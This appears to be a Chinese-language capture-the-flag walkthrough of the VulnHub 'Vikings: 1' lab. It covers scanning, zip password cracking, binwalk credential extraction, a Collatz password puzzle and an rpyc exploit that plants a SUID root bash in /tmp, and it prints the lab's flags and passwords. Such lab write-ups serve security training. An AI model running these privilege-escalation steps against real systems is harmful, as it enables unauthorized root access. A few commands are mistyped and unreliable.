下载地址:https://www.vulnhub.com/entry/vikings-1,741/
选择镜像文件进行下载。下载后解压是一个ova文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
文件名:Vikings.ova
文件大小:1.7 GB
MD5: 84F72C38E2458E01D00DB920A40D51EA
SHA1: 1C8AC7A6C7454C8C8081CD65AF305C2A3EE803D4
未探测出IP地址,需要重新配置。
1. 设置虚拟机网络为 NAT 模式
在 VMware 中,将 Kali Linux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。
2. 启动靶机并进入单用户模式
启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式(若无法进入编辑模式,长按shift进入引导页面再按e进入)。
3. 修改启动参数
在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加signie init=/bin/bash,使其进入单用户模式。
这样修改后,按下 Ctrl + X 启动系统。
4. 查看网络状态
进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。
切换使用 ip address 命令来查看网络接口的状态。
5. 修改网卡名称
发现网络接口的名称为 enp0s3,需要将其修改为 ens33。
进入网络配置文件目录:
vim /etc/netplan/00-installer-config.yaml。
6. 保存并退出
在 vim 编辑器中,修改完成后按 Esc 键,输入 :wq 保存并退出。
7. 完成配置并重启系统
完成网络配置后,进行系统关机并重启。注意: 必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。
获取root权限,共有两个flag。
ragnar用户-user.txt:4bf930187d0149a9e4374a4e823f867d
root用户-root.txt:f0b98d4387ff6da77317e582da98bf31
确定IP地址、端口扫描、网站访问、目录扫描。
使用nmap确定该靶场IP地址,地址为:192.168.241.180。
namp -sP 192.168.241.0/24
使用nmap进行端口扫描,发现其开放22和80端口。
22端口开放SSH服务,OpenSSH 7.6p1;80端口开放HTTP服务,Apache httpd 2.4.29。
nmap -sV -v -T4 -A -p- 192.168.241.180
访问80端口,是一个文件页面。
http://192.168.241.180
点击site目录,等待加载一会,显示一个介绍页面,经过查看源代码并未发现有用信息。
经过扫描,未发现有用页面。
dirsearch -u http://192.168.241.180/site
使用gobuster再次进行目录扫描,发现了war.txt文件。
gobuster dir -u http://192.168.241.180/site/ -x php,txt,jsp,asp,html -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt --no-error
访问war.txt文件,发现了一个路径:/war-is-over。
访问war-is-over地址,发现是一串base64编码。
http://192.168.241.180/site/war-is-over/
文件保存、破解压缩文件密码、查看隐藏文件、SSH远程连接、查阅文件内容、质数解密、登录ragnar用户、获得第一个flag、查看当前目录所有文件。
通过kali自带的解密方法,直接将war-is-over文件保存到kali linux。
查看该文件类型,发现是zip压缩文件。
curl http://192.168.241.180/site/war-is-over/ | base64 -d > base64
file base64
将该文件格式修改为zip后缀,尝试进行解压查看文件,解压失败。猜测是需要密码。
mv base64 base64.zip
7z x base64.zip
使用zip2john把该压缩文件的密码信息提取出来。
zip2john base64.zip > password
使用john进行破解,获得压缩文件密码为ragnarok123。
john password
对该压缩文件进行解压,发现是一个图片。
7z x -p"ragnarok123" base64.zip
使用binwalk获取隐藏信息,发现存在一个user文件。
binwalk -e king --run-as=root
查看文件内容,看起来像是一组账密信息。
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
经过多次测试,发现账密为floki/f@m0usboatbuilde7。使用该账密成功连接到靶机。
ssh floki@192.168.241.180
连接成功后发现两个文件,经过查阅,其提示让找ragnar,怀疑这是一个用户名。
通过查阅文件内容,告诉我们要进行考拉兹猜想第29个素数。
直接写代码,对29个质数进行考拉兹计算。
Lothar Collatz 在 1930 年代提出,是指对于每一个正整数,如果它是奇数,则对它乘 3 再加 1,如果它是偶数,则对它除以 2,如此循环,最终都能够得到 1。通过前面对数列求解的认识,我们可以类似的编写程序。这里判断奇数/偶数可以用求余函数mod,判断可以用if语句,循环终止是数列的某项达到1,可以用while语句。
n=109
a=[n]
while n != 1 :
if n % 2 ==0:
n = n/2
else:
n = n*3+1
if n < 256:
a.append(int(n))
print(a)
python3 zs.py
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]
将10进制转成字符串形式,得到的内容为ragnar用户的登录密码。
mR)|>^/Gky[gz=.F#j5P(
https://msec.nsfocus.com/cyberchef
左边搜索依次选择From Decimal、Strings、Find /Replace
ssh ragnar@192.168.241.180
mR)|>^/Gky[gz=.F#j5P(
通过Python启动一个/bin/bash的伪终端。
python3 -c "import pty;pty.spawn('/bin/bash')"
user.txt:4bf930187d0149a9e4374a4e823f867d
查看当前目录下所有文件,发现了一个profile文件。
ls -al
查看该文件内容,发现了该文件内容以roo权限调用了/usr/local/bin/rpyc_classic.py文件。并且当前文件仅有只读权限,无法写入内容。
rpyc提权、获得root权限、获得第二个flag。
查看rpyc是否开放18812端口。
netstat -tuln | grep 18812
因为rpyc是可以远程操控的,我们直接利用这一点获取他的root权限。
写一个脚本,让他自己连接,然后把root权限的bash复制一份给我们用。
import rpyc
connect = rpyc.classic.connect('localhost')
def rootshell():
import os
os.system('rm /tmp/rootshell')
os.system('cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell')
conn = connect.teleport(rootshell)
conn()
写入shell.py文件。
运行shell.py文件,会在/tmp目录下生成一个rootshell文件。
python3 shell.py
cd /tmp
ls
执行rootshell文件,即可获得root权限。
./rootshell -p
root.txt:f0b98d4387ff6da77317e582da98bf31
免责声明
本公众号“暗魂攻防实验室”致力于分享网络安全相关知识及资讯,所有内容仅供学习和交流使用,不得用于任何非法用途。由于传播、利用本公众号“暗魂攻防实验室”所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任!!!
以下为本公众号声明内容,请知悉并遵守:
1.关于信息的准确性
本公众号所发布的信息均来源于公开渠道或作者整理,仅供参考,不保证内容的绝对准确性、完整性和时效性。使用者在依赖相关内容前,应独立核实信息的真实性和适用性。
2.法律与合规性
使用者应严格遵守国家相关法律法规,确保所有操作仅用于合法用途。本公众号明确禁止任何利用内容进行非法活动的行为,由此产生的后果由使用者自行承担,本公众号及作者不承担任何责任。
3.版权声明
本公众号部分内容如引用了他人作品或资源,均已标注来源或作者。如有侵权,请及时联系我们,我们将在核实后立即删除并致以歉意。
4.合法用途限制
本公众号内容仅供参考,任何利用本公众号内容从事违法行为的后果均由使用者自行承担,本公众号及作者对此不承担任何责任。
5.风险告知
因使用或传播本公众号内容导致的直接或间接后果(如系统损坏、数据丢失、法律责任等),均由使用者自行承担。本公众号及作者对此不承担任何责任。
暗魂攻防实验室
官方客服
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vikings: 1靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论